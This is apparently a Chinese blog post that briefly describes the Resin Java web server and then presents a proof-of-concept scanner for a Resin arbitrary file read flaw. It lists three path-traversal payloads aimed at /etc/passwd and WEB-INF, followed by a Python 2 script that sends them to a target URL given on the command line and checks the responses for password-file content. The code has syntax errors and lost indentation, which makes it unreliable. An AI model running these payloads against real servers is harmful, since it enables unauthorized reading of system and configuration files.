Resin是什么
虽然看不上但是还是原因下百度百科:
Resin是CAUCHO公司的产品,是一个非常流行的支持servlets和jsp的引擎,速度非常快。Resin本身包含了一个支持HTTP/1.1的WEB服务器。它不仅可以显示动态内容,而且它显示静态内容的能力也非常强,速度直逼APACHESERVER。许多站点都是使用该WEB服务器构建的。
可以认为是一个WEB服务器
Resin存在任意文件读取漏洞
"""
payload1 = "/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd"
payload2 = "/resin-doc/examples/jndi-appconfig/test?inputFile=../../../../../../../../../../etc/passwd"
payload3 = "/ ..\\\\web-inf"
"""
Resin任意文件读取POC
# -*- coding:utf-8 -*-
"""
Resin远程任意文件读取漏洞
"""
#引入依赖库、包文件
import os
import sys
import urllib
import logging
import requests
#设置全局配置
reload(sys)
sys.setdefaultencoding('utf-8')
logging.basicConfig(format="%(message)s",level=logging.INFO)
#定义全局变量和全局函数
payload1 = "/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd"
payload2 = "/resin-doc/examples/jndi-appconfig/test?inputFile=../../../../../../../../../../etc/passwd"
payload3 = "/ ..\\\\web-inf"
payloadList = [payload1,payload2,payload3]
def getUrl(url):
urList = []
if url != None and isinstance(url,str):
if url.find(":") >= 3
protocol = url.split(":")[0]+"://"
hostname = url.split(":")[1].split("/")[2]
for payload in payloadList:
tUrl = protocol + hostname + payload
urList.append(tUrl)
enUrl = urllib.quote(tUrl)
urList.append(enUrl)
else:
pass
return urList
class ResinScan:
def __init__(self,url):
self.tUrList = getUrl(url)
self.flag = ["root:x:0:0:root:/root"."<h1>Directory of"]
def scan(self):
for url in self.tUrList:
try:
response = requests.get(url,timeout=3,verify=False)
for string in self.flag:
if response.content.find(string) >= 0:
return True
except Exception,reason:
logging.info("[-] 扫描错误--错误原因:%s"%str(reason))
return False
if __name__ == "__main__":
try:
url = sys.argv[1]
except Exception,reason:
logging.info("[-] 没有找到目标站点")
exit(0)
scan = ResinScan(url)
if scan.scan():
logging.info("[+] 发现漏洞!")